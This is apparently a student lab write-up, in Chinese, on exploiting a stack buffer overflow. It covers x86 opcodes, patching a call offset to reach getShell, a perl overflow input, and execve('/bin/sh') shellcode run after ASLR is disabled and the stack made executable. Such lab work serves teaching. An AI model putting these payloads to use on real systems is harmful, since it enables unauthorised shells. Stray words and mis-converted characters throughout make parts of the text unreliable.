NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)shell
JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)編程
JE:條件轉移指令,若是相等則跳轉。(機器碼:74)vim
JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)網絡
CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。dom
objdump -d xxx
可進行反彙編。函數
:%!xxd
轉換成16進制。spa
對於我這種彙編學的很差的人來講,我不會直接修改機器指令,老師告訴了咱們不會也能夠猜想的方法:咱們先用foo的地址減去getshell,獲得差值。咱們知道,對於機器指令「e8 d7ffffff」,e8即跳轉之意,因此能夠修改的即是「d7ffffff」,顯然咱們要修改d7,因此給d7減去差值0X14獲得c3。操作系統
根據如下步驟在vi中進行修改3d
1.按ESC鍵 2.輸入以下,將顯示模式切換爲16進制模式 :%!xxd 3.查找要修改的內容 /e8 d7 4.找到後先後的內容和反彙編的對比下,確認是地方是正確的 5.修改d7爲c3 6.轉換16進製爲原格式 :%!xxd -r 7.存盤退出vi :wq
gdb 20155205gwm
進行調試,run程序以後輸入「1111111122222222333333334444444455555555」進行試驗,出現了調試
Program received signal SIGSEGV, Segmentation fault.
的錯誤。咱們接着輸入
info r
來查看各個寄存器的值。能夠看到eip的值爲5。
2015四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給20155205pwn,20155205pwn就會運行getShell。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包括這樣字符串的一個文件。
install
命令安裝命令安裝execstack。
root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行 root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址隨機化 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一、輸入
(cat input_shellcode;cat) | ./pwn2
攻擊buf,
找到pwn1的進程號是:3067。
二、啓動gdb調試這個進程。經過設置斷點,來查看注入buf的內存地址。
最後成功攻擊!
問題一解決方案:網絡配置發生了錯誤,需修改DNS和IP配置。
問題二:爲何第二個實驗中eip顯示爲0x35353535時說她的值爲都是5?
問題二解決方案:怪我本身把學的都忘了,這是由於機器存儲的是ascii碼值!包括後來爲何輸入「\x7d\x84\x04\x08\x0a」也是同樣的道理!
緩衝區溢出是一種很是廣泛、很是危險的漏洞,在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊,能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是,能夠利用它執行非受權指令,甚至能夠取得系統特權,進而進行各類非法操做。